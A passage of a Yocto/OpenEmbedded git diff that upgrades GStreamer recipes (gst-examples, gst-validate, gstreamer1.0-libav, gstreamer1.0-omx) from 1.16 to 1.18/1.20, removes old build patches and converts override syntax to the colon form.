+ -Ddoc=disabled \
+ -Ddebug_viewer=disabled \
+ -Dtests=disabled \
+ -Dvalidate=enabled \
+ ${@gettext_oemeson(d)} \
+"
+
+do_install:append () {
+ for fn in ${bindir}/gst-validate-launcher \
+ ${libdir}/gst-validate-launcher/python/launcher/config.py; do
+ sed -i -e 's,${B},/usr/src/debug/${PN},g' -e 's,${S},/usr/src/debug/${PN},g' ${D}$fn
+ done
+}
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
diff --git a/meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch b/meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch
index 0338bad1c0..ab93c13244 100644
--- a/meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch
+++ b/meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch
@@ -1,4 +1,4 @@
-From 755f6dab07565aca7b6aefacad8be65de364ff75 Mon Sep 17 00:00:00 2001
+From 7924016fce2d0b435891a335cdae52fc939c7e3b Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Thu, 17 Aug 2017 11:07:02 +0300
Subject: [PATCH] Make player examples installable
@@ -7,16 +7,17 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
Upstream-Status: Denied [Upstream considers these code examples, for now a least]
https://bugzilla.gnome.org/show_bug.cgi?id=777827
+
---
playback/player/gst-play/meson.build | 1 +
playback/player/gtk/meson.build | 1 +
2 files changed, 2 insertions(+)
diff --git a/playback/player/gst-play/meson.build b/playback/player/gst-play/meson.build
-index 719b55b..a56fe13 100644
+index 8ec021d..977cc5c 100644
--- a/playback/player/gst-play/meson.build
+++ b/playback/player/gst-play/meson.build
-@@ -8,5 +8,6 @@ executable('gst-play',
+@@ -2,5 +2,6 @@ executable('gst-play',
['gst-play.c',
'gst-play-kb.c',
'gst-play-kb.h'],
@@ -24,16 +25,13 @@ index 719b55b..a56fe13 100644
dependencies : [gst_dep, gstplayer_dep, m_dep])
diff --git a/playback/player/gtk/meson.build b/playback/player/gtk/meson.build
-index 08aae4f..671a65d 100644
+index f7a7419..6281130 100644
--- a/playback/player/gtk/meson.build
+++ b/playback/player/gtk/meson.build
-@@ -18,5 +18,6 @@ executable('gtk-play',
- gtk_play_resources,
- 'gtk-video-renderer.h',
- 'gtk-video-renderer.c'],
+@@ -13,5 +13,6 @@ if gtk_dep.found()
+ gtk_play_resources,
+ 'gtk-video-renderer.h',
+ 'gtk-video-renderer.c'],
+ install: true,
- dependencies : [glib_dep, gobject_dep, gmodule_dep, gst_dep, gsttag_dep, gstplayer_dep, gtk_dep, x11_dep])
-
---
-2.13.3
-
+ dependencies : [glib_dep, gobject_dep, gmodule_dep, gst_dep, gsttag_dep, gstplayer_dep, gtk_dep, x11_dep])
+ endif
diff --git a/meta/recipes-multimedia/gstreamer/gst-examples_1.16.0.bb b/meta/recipes-multimedia/gstreamer/gst-examples_1.16.0.bb
deleted file mode 100644
index e83ea8cb79..0000000000
--- a/meta/recipes-multimedia/gstreamer/gst-examples_1.16.0.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "GStreamer examples (including gtk-play, gst-play)"
-LICENSE = "LGPL-2.0+"
-LIC_FILES_CHKSUM = "file://playback/player/gtk/gtk-play.c;beginline=1;endline=20;md5=f8c72dae3d36823ec716a9ebcae593b9"
-
-DEPENDS = "glib-2.0 gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad gtk+3 glib-2.0-native"
-
-SRC_URI = "git://gitlab.freedesktop.org/gstreamer/gst-examples.git;protocol=https \
- file://0001-Make-player-examples-installable.patch \
- file://gst-player.desktop \
- "
-
-SRCREV = "d953c127c1146b50d5676618299933950685dcd7"
-
-S = "${WORKDIR}/git"
-
-inherit meson pkgconfig distro_features_check
-
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-do_install_append() {
- install -m 0644 -D ${WORKDIR}/gst-player.desktop ${D}${datadir}/applications/gst-player.desktop
-}
-
-RDEPENDS_${PN} = "gstreamer1.0-plugins-base-playback"
-RRECOMMENDS_${PN} = "gstreamer1.0-plugins-base-meta \
- gstreamer1.0-plugins-good-meta \
- gstreamer1.0-plugins-bad-meta \
- ${@bb.utils.contains("LICENSE_FLAGS_WHITELIST", "commercial", "gstreamer1.0-libav", "", d)} \
- ${@bb.utils.contains("LICENSE_FLAGS_WHITELIST", "commercial", "gstreamer1.0-plugins-ugly-meta", "", d)}"
-RPROVIDES_${PN} += "gst-player gst-player-bin"
diff --git a/meta/recipes-multimedia/gstreamer/gst-examples_1.18.6.bb b/meta/recipes-multimedia/gstreamer/gst-examples_1.18.6.bb
new file mode 100644
index 0000000000..02282ac5d9
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gst-examples_1.18.6.bb
@@ -0,0 +1,35 @@
+SUMMARY = "GStreamer examples (including gtk-play, gst-play)"
+DESCRIPTION = "GStreamer example applications"
+HOMEPAGE = "https://gitlab.freedesktop.org/gstreamer/gst-examples"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-examples/-/issues"
+LICENSE = "LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://playback/player/gtk/gtk-play.c;beginline=1;endline=20;md5=f8c72dae3d36823ec716a9ebcae593b9"
+
+DEPENDS = "glib-2.0 gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad gtk+3 libsoup-2.4 json-glib glib-2.0-native"
+
+SRC_URI = "git://gitlab.freedesktop.org/gstreamer/gst-examples.git;protocol=https;branch=1.18 \
+ file://0001-Make-player-examples-installable.patch \
+ file://gst-player.desktop \
+ "
+
+SRCREV = "70e4fcf4fc8ae19641aa990de5f37d758cdfcea4"
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig features_check
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)"
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+do_install:append() {
+ install -m 0644 -D ${WORKDIR}/gst-player.desktop ${D}${datadir}/applications/gst-player.desktop
+}
+
+RDEPENDS:${PN} = "gstreamer1.0-plugins-base-playback"
+RRECOMMENDS:${PN} = "gstreamer1.0-plugins-base-meta \
+ gstreamer1.0-plugins-good-meta \
+ gstreamer1.0-plugins-bad-meta \
+ ${@bb.utils.contains("LICENSE_FLAGS_ACCEPTED", "commercial", "gstreamer1.0-libav", "", d)} \
+ ${@bb.utils.contains("LICENSE_FLAGS_ACCEPTED", "commercial", "gstreamer1.0-plugins-ugly-meta", "", d)}"
+RPROVIDES:${PN} += "gst-player gst-player-bin"
diff --git a/meta/recipes-multimedia/gstreamer/gst-plugins-package.inc b/meta/recipes-multimedia/gstreamer/gst-plugins-package.inc
deleted file mode 100644
index 6781e98c31..0000000000
--- a/meta/recipes-multimedia/gstreamer/gst-plugins-package.inc
+++ /dev/null
@@ -1,56 +0,0 @@
-PACKAGESPLITFUNCS_prepend = " split_gstreamer10_packages "
-PACKAGESPLITFUNCS_append = " set_metapkg_rdepends "
-
-python split_gstreamer10_packages () {
- gst_libdir = d.expand('${libdir}/gstreamer-${LIBV}')
- postinst = d.getVar('plugin_postinst')
- glibdir = d.getVar('libdir')
-
- do_split_packages(d, glibdir, r'^lib(.*)\.so\.*', 'lib%s', 'gstreamer %s library', extra_depends='', allow_links=True)
- do_split_packages(d, gst_libdir, r'libgst(.*)\.so$', d.expand('${PN}-%s'), 'GStreamer plugin for %s', postinst=postinst, extra_depends='')
- do_split_packages(d, glibdir+'/girepository-1.0', r'Gst(.*)-1.0\.typelib$', d.expand('${PN}-%s-typelib'), 'GStreamer typelib file for %s', postinst=postinst, extra_depends='')
- do_split_packages(d, gst_libdir, r'libgst(.*)\.la$', d.expand('${PN}-%s-dev'), 'GStreamer plugin for %s (development files)', extra_depends='${PN}-dev')
- do_split_packages(d, gst_libdir, r'libgst(.*)\.a$', d.expand('${PN}-%s-staticdev'), 'GStreamer plugin for %s (static development files)', extra_depends='${PN}-staticdev')
-}
-
-python set_metapkg_rdepends () {
- import os
- import oe.utils
-
- pn = d.getVar('PN')
- metapkg = pn + '-meta'
- d.setVar('ALLOW_EMPTY_' + metapkg, "1")
- d.setVar('FILES_' + metapkg, "")
- blacklist = [ pn, pn + '-meta' ]
- metapkg_rdepends = []
- pkgdest = d.getVar('PKGDEST')
- for pkg in oe.utils.packages_filter_out_system(d):
- if pkg not in blacklist and pkg not in metapkg_rdepends:
- # See if the package is empty by looking at the contents of its PKGDEST subdirectory.
- # If this subdirectory is empty, then the package is.
- # Empty packages do not get added to the meta package's RDEPENDS
- pkgdir = os.path.join(pkgdest, pkg)
- if os.path.exists(pkgdir):
- dir_contents = os.listdir(pkgdir) or []
- else:
- dir_contents = []
- is_empty = len(dir_contents) == 0
- if not is_empty:
- metapkg_rdepends.append(pkg)
- d.setVar('RDEPENDS_' + metapkg, ' '.join(metapkg_rdepends))
- d.setVar('DESCRIPTION_' + metapkg, pn + ' meta package')
-}
-
-# each plugin-dev depends on PN-dev, plugin-staticdev on PN-staticdev
-# so we need them even when empty (like in gst-plugins-good case)
-ALLOW_EMPTY_${PN} = "1"
-ALLOW_EMPTY_${PN}-dev = "1"
-ALLOW_EMPTY_${PN}-staticdev = "1"
-
-PACKAGES += "${PN}-apps ${PN}-meta ${PN}-glib"
-
-FILES_${PN} = ""
-FILES_${PN}-apps = "${bindir}"
-FILES_${PN}-glib = "${datadir}/glib-2.0"
-
-RRECOMMENDS_${PN} += "${PN}-meta"
diff --git a/meta/recipes-multimedia/gstreamer/gst-validate_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gst-validate_1.16.1.bb
deleted file mode 100644
index 7d602eabc6..0000000000
--- a/meta/recipes-multimedia/gstreamer/gst-validate_1.16.1.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Gstreamer validation tool"
-DESCRIPTION = "A Tool to test GStreamer components"
-HOMEPAGE = "https://gstreamer.freedesktop.org/releases/gst-validate/1.12.3.html"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${BPN}/${BP}.tar.xz \
- file://0001-connect-has-a-different-signature-on-musl.patch \
- "
-SRC_URI[md5sum] = "793e75f4717f718ad204c554d577b160"
-SRC_URI[sha256sum] = "7f079b9b2a127604b98e297037dc8847ef50f4ce2b508aa2df0cac5b77562899"
-
-DEPENDS = "json-glib glib-2.0 glib-2.0-native gstreamer1.0 gstreamer1.0-plugins-base"
-RRECOMMENDS_${PN} = "git"
-
-FILES_${PN} += "${datadir}/gstreamer-1.0/* ${libdir}/gst-validate-launcher/* ${libdir}/gstreamer-1.0/*"
-
-inherit pkgconfig gettext autotools gobject-introspection gtk-doc upstream-version-is-even
-
-# With gtk-doc enabled this recipe fails to build, so forcibly disable it:
-# WORKDIR/build/docs/validate/gst-validate-scan: line 117:
-# WORKDIR/build/docs/validate/.libs/lt-gst-validate-scan: No such file or directory
-GTKDOC_ENABLED = "False"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-Disable-yasm-for-libav-when-disable-yasm.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-Disable-yasm-for-libav-when-disable-yasm.patch
deleted file mode 100644
index 11571aefa1..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-Disable-yasm-for-libav-when-disable-yasm.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 54bba228ea52d01fd84941d97be23c03f9862b64 Mon Sep 17 00:00:00 2001
-From: Carlos Rafael Giani <dv@pseudoterminal.org>
-Date: Sat, 6 Apr 2013 01:22:22 +0200
-Subject: [PATCH] Disable yasm for libav when --disable-yasm
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Shane Wang <shane.wang@intel.com>
-Signed-off-by: Carlos Rafael Giani <dv@pseudoterminal.org>
----
- configure.ac | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index 22ede88..ef3c050 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -355,6 +355,12 @@ else
- emblibav_configure_args="$emblibav_configure_args --enable-gpl"
- fi
-
-+ AC_ARG_ENABLE(yasm,
-+ [AC_HELP_STRING([--disable-yasm], [disable use of yasm assembler])])
-+ if test "x$enable_yasm" = "xno"; then
-+ emblibav_configure_args="$emblibav_configure_args --disable-yasm"
-+ fi
-+
- # if we are cross-compiling, tell libav so
- case $host in
- *android*)
---
-1.8.2
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-configure-check-for-armv7ve-variant.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-configure-check-for-armv7ve-variant.patch
deleted file mode 100644
index f182715bda..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-configure-check-for-armv7ve-variant.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From aac5902d3c9cb35c771e760d0e487622aa2e116a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 20 Apr 2017 10:38:18 -0700
-Subject: [PATCH] configure: check for armv7ve variant
-
-OE passes -mcpu and -march via cmdline and if
-package tries to detect one of it own then it
-should be compatible otherwise, newer gcc7+ will
-error out
-
-Check for relevant preprocessor macro to determine
-armv7ve architecture
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gst-libs/ext/libav/configure | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/gst-libs/ext/libav/configure b/gst-libs/ext/libav/configure
-index 4a5e477..727818e 100755
---- a/gst-libs/ext/libav/configure
-+++ b/gst-libs/ext/libav/configure
-@@ -4745,6 +4745,7 @@ elif enabled arm; then
- elif check_arm_arch 6KZ; then echo armv6zk
- elif check_arm_arch 6ZK; then echo armv6zk
- elif check_arm_arch 6T2; then echo armv6t2
-+ elif check_arm_arch EXT_IDIV; then echo armv7ve
- elif check_arm_arch 7; then echo armv7
- elif check_arm_arch 7A 7_A; then echo armv7-a
- elif check_arm_arch 7S; then echo armv7-a
---
-2.12.2
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-fix-host-contamination.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-fix-host-contamination.patch
deleted file mode 100644
index 120c0798ea..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-fix-host-contamination.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From c1700f867f876ee33c130a8e28b688e2b1d89663 Mon Sep 17 00:00:00 2001
-From: Anuj Mittal <anuj.mittal@intel.com>
-Date: Wed, 11 Apr 2018 17:14:55 +0800
-Subject: [PATCH] Prevent host contamination
-
-Remove reference to host $(libdir) from .la files.
-
-Upstream-Status: Inappropriate [cross-compile specific]
-
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- gst-libs/ext/Makefile.am | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/gst-libs/ext/Makefile.am b/gst-libs/ext/Makefile.am
-index 6cdc048..a19d255 100644
---- a/gst-libs/ext/Makefile.am
-+++ b/gst-libs/ext/Makefile.am
-@@ -49,7 +49,7 @@ echo " GEN $1.la" && \
- echo "library_names=''" && \
- echo "old_library='$1.a'" && \
- echo "inherited_linker_flags=''" && \
-- echo "dependency_libs=' -L$(libdir) $(if $2,$(foreach dep,$2,$(abs_builddir)/$(dep).la)) $(call find_library_la,$3 $(LIBM),$(LDFLAGS)) '" && \
-+ echo "dependency_libs=' -L $(if $2,$(foreach dep,$2,$(abs_builddir)/$(dep).la)) $(call find_library_la,$3 $(LIBM),$(LDFLAGS)) '" && \
- echo "weak_library_names=''" && \
- echo "current=" && \
- echo "age=" && \
-@@ -58,7 +58,7 @@ echo " GEN $1.la" && \
- echo "shouldnotlink=no" && \
- echo "dlopen=''" && \
- echo "dlpreopen=''" && \
-- echo "libdir='$(libdir)'") > $1.la
-+ echo "libdir=''") > $1.la
- endef
-
- libavutil.la:
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/mips64_cpu_detection.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/mips64_cpu_detection.patch
deleted file mode 100644
index 90d042b313..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/mips64_cpu_detection.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-It will add -mips64r6 and -mips64r2 to cmdline which will
-cause conflicts
-
-in OE we user mips32r2 and mips64r2 for mips arch versions
-so there is no benefit of detecting it automatically by
-poking at tools especially in cross env
-
-Fixes errors like
-
-linking -mnan=2008 module with previous -mnan=legacy modules
-failed to merge target specific data of file
-
--Khem
-Upstream-Status: Inappropriate [OE-Specific]
-
-Index: gst-libav-1.10.1/gst-libs/ext/libav/configure
-===================================================================
---- gst-libav-1.10.1.orig/gst-libs/ext/libav/configure
-+++ gst-libav-1.10.1/gst-libs/ext/libav/configure
-@@ -5650,12 +5650,9 @@ elif enabled mips; then
-
- # Enable minimum ISA based on selected options
- if enabled mips64; then
-- enabled mips64r6 && check_inline_asm_flags mips64r6 '"dlsa $0, $0, $0, 1"' '-mips64r6'
- enabled mips64r2 && check_inline_asm_flags mips64r2 '"dext $0, $0, 0, 1"' '-mips64r2'
- disabled mips64r6 && disabled mips64r2 && check_inline_asm_flags mips64r1 '"daddi $0, $0, 0"' '-mips64'
- else
-- enabled mips32r6 && check_inline_asm_flags mips32r6 '"aui $0, $0, 0"' '-mips32r6'
-- enabled mips32r5 && check_inline_asm_flags mips32r5 '"eretnc"' '-mips32r5'
- enabled mips32r2 && check_inline_asm_flags mips32r2 '"ext $0, $0, 0, 1"' '-mips32r2'
- disabled mips32r6 && disabled mips32r5 && disabled mips32r2 && check_inline_asm_flags mips32r1 '"addi $0, $0, 0"' '-mips32'
- fi
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/workaround-to-build-gst-libav-for-i586-with-gcc.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/workaround-to-build-gst-libav-for-i586-with-gcc.patch
deleted file mode 100644
index 4b85356547..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/workaround-to-build-gst-libav-for-i586-with-gcc.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-Description: Workaround to build libav for i586 with gcc 4.9.2 by avoiding memset
-Author: Bernhard belacker <bernhardu@vr-web.de>
-
----
-Bug-Debian: https://bugs.debian.org/783082
-Last-Update: 2015-04-28
-
-Upstream-Status: Backport [debian]
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
---- gst-libav-1.4.5.orig/gst-libs/ext/libav/libavcodec/h264_cabac.c
-+++ gst-libav-1.4.5/gst-libs/ext/libav/libavcodec/h264_cabac.c
-@@ -2057,7 +2057,11 @@ decode_intra_mb:
- // In deblocking, the quantizer is 0
- h->cur_pic.qscale_table[mb_xy] = 0;
- // All coeffs are present
-- memset(h->non_zero_count[mb_xy], 16, 48);
-+ /*memset(h->non_zero_count[mb_xy], 16, 48);*/
-+ /* avoiding this memset because it leads at least with gcc4.9.2 to error: 'asm' operand has impossible constraints */
-+ for (size_t i = 0; i < 48; i++) {
-+ ( (unsigned char*)(h->non_zero_count[mb_xy]) ) [i] = 16;
-+ }
- h->cur_pic.mb_type[mb_xy] = mb_type;
- sl->last_qscale_diff = 0;
- return 0;
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.16.1.bb
deleted file mode 100644
index 10955ff161..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.16.1.bb
+++ /dev/null
@@ -1,70 +0,0 @@
-SUMMARY = "Libav-based GStreamer 1.x plugin"
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-SECTION = "multimedia"
-
-LICENSE = "GPLv2+ & LGPLv2+ & ( (GPLv2+ & LGPLv2.1+) | (GPLv3+ & LGPLv3+) )"
-LICENSE_FLAGS = "commercial"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.LIB;md5=6762ed442b3822387a51c92d928ead0d \
- file://ext/libav/gstav.h;beginline=1;endline=18;md5=a752c35267d8276fd9ca3db6994fca9c \
- file://gst-libs/ext/libav/COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://gst-libs/ext/libav/COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://gst-libs/ext/libav/COPYING.LGPLv2.1;md5=bd7a443320af8c812e4c18d1b79df004 \
- file://gst-libs/ext/libav/COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-libav/gst-libav-${PV}.tar.xz \
- file://0001-Disable-yasm-for-libav-when-disable-yasm.patch \
- file://workaround-to-build-gst-libav-for-i586-with-gcc.patch \
- file://mips64_cpu_detection.patch \
- file://0001-configure-check-for-armv7ve-variant.patch \
- file://0001-fix-host-contamination.patch \
- "
-SRC_URI[md5sum] = "58023f4c71bbd711061e350fcd76c09d"
-SRC_URI[sha256sum] = "e8a5748ae9a4a7be9696512182ea9ffa6efe0be9b7976916548e9d4381ca61c4"
-
-S = "${WORKDIR}/gst-libav-${PV}"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base zlib bzip2 xz"
-
-inherit autotools pkgconfig upstream-version-is-even gtk-doc
-
-# CAUTION: Using the system libav is not recommended. Since the libav API is changing all the time,
-# compilation errors (and other, more subtle bugs) can happen. It is usually better to rely on the
-# libav copy included in the gst-libav package.
-PACKAGECONFIG ??= "orc yasm"
-
-PACKAGECONFIG[gpl] = "--enable-gpl,--disable-gpl,"
-PACKAGECONFIG[libav] = "--with-system-libav,,libav"
-PACKAGECONFIG[orc] = "--enable-orc,--disable-orc,orc"
-PACKAGECONFIG[yasm] = "--enable-yasm,--disable-yasm,nasm-native"
-PACKAGECONFIG[valgrind] = "--enable-valgrind,--disable-valgrind,valgrind"
-
-GSTREAMER_1_0_DEBUG ?= "--disable-debug"
-
-LIBAV_EXTRA_CONFIGURE = "--with-libav-extra-configure"
-
-LIBAV_EXTRA_CONFIGURE_COMMON_ARG = "--target-os=linux \
- --cc='${CC}' --as='${CC}' --ld='${CC}' --nm='${NM}' --ar='${AR}' \
- --ranlib='${RANLIB}' \
- ${GSTREAMER_1_0_DEBUG} \
- --cross-prefix='${HOST_PREFIX}'"
-
-# Disable assembly optimizations for X32, as this libav lacks the support
-PACKAGECONFIG_remove_linux-gnux32 = "yasm"
-LIBAV_EXTRA_CONFIGURE_COMMON_ARG_append_linux-gnux32 = " --disable-asm"
-
-LIBAV_EXTRA_CONFIGURE_COMMON = \
-'${LIBAV_EXTRA_CONFIGURE}="${LIBAV_EXTRA_CONFIGURE_COMMON_ARG}"'
-
-EXTRA_OECONF = "${LIBAV_EXTRA_CONFIGURE_COMMON}"
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/*.so"
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/*.la"
-FILES_${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
-
-# http://errors.yoctoproject.org/Errors/Details/20493/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-# ffmpeg/libav disables PIC on some platforms (e.g. x86-32)
-INSANE_SKIP_${PN} = "textrel"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.20.1.bb
new file mode 100644
index 0000000000..16a298ab14
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.20.1.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Libav-based GStreamer 1.x plugin"
+DESCRIPTION = "Contains a GStreamer plugin for using the encoders, decoders, \
+muxers, and demuxers provided by FFmpeg."
+HOMEPAGE = "http://gstreamer.freedesktop.org/"
+SECTION = "multimedia"
+
+# ffmpeg has comercial license flags so add it as we need ffmpeg as a dependency
+LICENSE_FLAGS = "commercial"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=69333daa044cb77e486cc36129f7a770 \
+ file://ext/libav/gstav.h;beginline=1;endline=18;md5=a752c35267d8276fd9ca3db6994fca9c \
+ "
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-libav/gst-libav-${PV}.tar.xz"
+SRC_URI[sha256sum] = "91a71fb633b75e1bd52e22a457845cb0ba563a2972ba5954ec88448f443a9fc7"
+
+S = "${WORKDIR}/gst-libav-${PV}"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base ffmpeg"
+
+inherit meson pkgconfig upstream-version-is-even
+
+EXTRA_OEMESON += " \
+ -Dtests=disabled \
+"
+
+FILES:${PN} += "${libdir}/gstreamer-1.0/*.so"
+FILES:${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb
index 016e176707..57a9adbaec 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb
@@ -18,13 +18,13 @@ PACKAGES = "\
gstreamer1.0-meta-debug \
gstreamer1.0-meta-video"
-ALLOW_EMPTY_gstreamer1.0-meta-base = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-x11-base = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-audio = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-debug = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-video = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-base = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-x11-base = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-audio = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-debug = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-video = "1"
-RDEPENDS_gstreamer1.0-meta-base = "\
+RDEPENDS:gstreamer1.0-meta-base = "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gstreamer1.0-meta-x11-base', '', d)} \
gstreamer1.0 \
gstreamer1.0-plugins-base-playback \
@@ -39,11 +39,11 @@ RDEPENDS_gstreamer1.0-meta-base = "\
gstreamer1.0-plugins-good-autodetect \
gstreamer1.0-plugins-good-soup"
-RRECOMMENDS_gstreamer1.0-meta-x11-base = "\
+RRECOMMENDS:gstreamer1.0-meta-x11-base = "\
gstreamer1.0-plugins-base-ximagesink \
gstreamer1.0-plugins-base-xvimagesink"
-RDEPENDS_gstreamer1.0-meta-audio = "\
+RDEPENDS:gstreamer1.0-meta-audio = "\
gstreamer1.0-meta-base \
gstreamer1.0-plugins-base-vorbis \
gstreamer1.0-plugins-base-ogg \
@@ -51,18 +51,18 @@ RDEPENDS_gstreamer1.0-meta-audio = "\
gstreamer1.0-plugins-good-flac \
${COMMERCIAL_AUDIO_PLUGINS}"
-RDEPENDS_gstreamer1.0-meta-debug = "\
+RDEPENDS:gstreamer1.0-meta-debug = "\
gstreamer1.0-meta-base \
gstreamer1.0-plugins-good-debug \
gstreamer1.0-plugins-base-audiotestsrc \
gstreamer1.0-plugins-base-videotestsrc"
-RDEPENDS_gstreamer1.0-meta-video = "\
+RDEPENDS:gstreamer1.0-meta-video = "\
gstreamer1.0-meta-base \
gstreamer1.0-plugins-good-avi \
gstreamer1.0-plugins-good-matroska \
gstreamer1.0-plugins-base-theora \
${COMMERCIAL_VIDEO_PLUGINS}"
-RRECOMMENDS_gstreamer1.0-meta-video = "\
+RRECOMMENDS:gstreamer1.0-meta-video = "\
gstreamer1.0-meta-audio"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.16.1.bb
deleted file mode 100644
index cb2f7045a8..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.16.1.bb
+++ /dev/null
@@ -1,57 +0,0 @@
-SUMMARY = "OpenMAX IL plugins for GStreamer"
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LICENSE_FLAGS = "commercial"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://omx/gstomx.h;beginline=1;endline=21;md5=5c8e1fca32704488e76d2ba9ddfa935f"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-omx/gst-omx-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "89772e7a277fd0abfc250eaf8e4e9ce9"
-SRC_URI[sha256sum] = "cbf54121a2cba575d460833e8132265781252ce32cf5b8f9fa8753e42ab24bb2"
-
-S = "${WORKDIR}/gst-omx-${PV}"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad"
-
-inherit autotools pkgconfig gettext gtk-doc upstream-version-is-even
-
-acpaths = "-I ${S}/common/m4 -I ${S}/m4"
-
